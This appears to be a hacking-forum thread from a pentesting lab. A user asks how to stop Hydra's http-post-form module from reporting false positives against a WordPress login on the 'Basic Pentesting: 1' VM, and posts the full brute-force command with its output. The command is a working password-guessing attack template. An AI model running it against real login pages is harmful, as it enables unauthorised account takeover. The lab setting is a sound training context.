Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

How to reduce false positive in hydra http-post-form module due to more than 1 error?

Edit: Links removed due to "Sorry, you cannot post links, videos, or images until you've made more than 50 total posts or have upgraded." error. I'll post it later when I have more than 50 posts.

This question is based on security challenge on Basic Pentesting: 1 [link removed].

Feel free to download if you want to reproduce this issue as well.

It's easy to do this if there's only a single error message when credentials entered was wrong such as DVWA login page challenge [link removed].

However, there are 3 different error for this challnge.

Here are 3 different scenario that I've tested.

Code
1. u:root p:root
ERROR: Invalid username. Lost your password?

2. u:root/admin p:<blank>
ERROR: The password field is empty.

3. u:admin p:random
ERROR: The password you entered for the username admin is incorrect. Lost your password?

In this example, I'll use the 1st error which is Invalid username as hydra's blacklisting value.

Code
hydra -V -e nsr -l admin \
127.0.0.1 http-post-form \
'/secret/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:Invalid username'

E.g.

Code
wolf@linux:~$ hydra -V -e nsr -l admin \
> 127.0.0.1 http-post-form \
> '/secret/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:Invalid username'
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (hxxps://github.com/vanhauser-thc/thc-hydra) starting at 2020-06-07 18:20:37
[DATA] max 3 tasks per 1 server, overall 3 tasks, 3 login tries (l:1/p:3), ~1 try per task
[DATA] attacking http-post-form://127.0.0.1:80/secret/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:Invalid username
[ATTEMPT] target 127.0.0.1 - login "admin" - pass "admin" - 1 of 3 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "admin" - pass "" - 2 of 3 [child 1] (0/0)
[ATTEMPT] target 127.0.0.1 - login "admin" - pass "nimda" - 3 of 3 [child 2] (0/0)
[80][http-post-form] host: 127.0.0.1   login: admin
[80][http-post-form] host: 127.0.0.1   login: admin   password: nimda
[80][http-post-form] host: 127.0.0.1   login: admin   password: admin
1 of 1 target successfully completed, 3 valid passwords found
Hydra (hxxps://github.com/vanhauser-thc/thc-hydra) finished at 2020-06-07 18:20:38
wolf@linux:~$

The problem is if the error string is not Invalid username, then hydra will assume the credentials are correct.

How do I fix this problem?

Is it possible to combine multiple blacklisting value in Hydra?
May I ask what language this is?
(Jun 7, 2020 06:30 PM)coazoni Wrote:  May I ask what language this is?

English? I don't get your question.
(Jun 18, 2020 07:26 AM)w01f Wrote:  English? I don't get your question.

He thinks you posted code and is trying to sound smart by asking which programming language.
(Jun 18, 2020 07:49 AM)TheBrokenWasp Wrote:  He thinks you posted code and is trying to sound smart by asking which programming language.

LOL

Code
w01f@linux:~$ file /usr/bin/hydra
/usr/bin/hydra: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2

That's ELF file, btw it was written in C.
Im pretty sure you forgot to include ^&USER ^&PASS


Possibly Related Threads...
Thread / Author Replies Views Last Post
by StanleyDec 14, 2025 02:55 PM 0 46 Dec 14, 2025 02:55 PM
Last Post: Stanley
by StanleyNov 21, 2025 10:55 AM 0 40 Nov 21, 2025 10:55 AM
Last Post: Stanley
by SoulInPainAug 8, 2018 05:19 PM 2 121 Aug 8, 2018 05:19 PM
Last Post: THC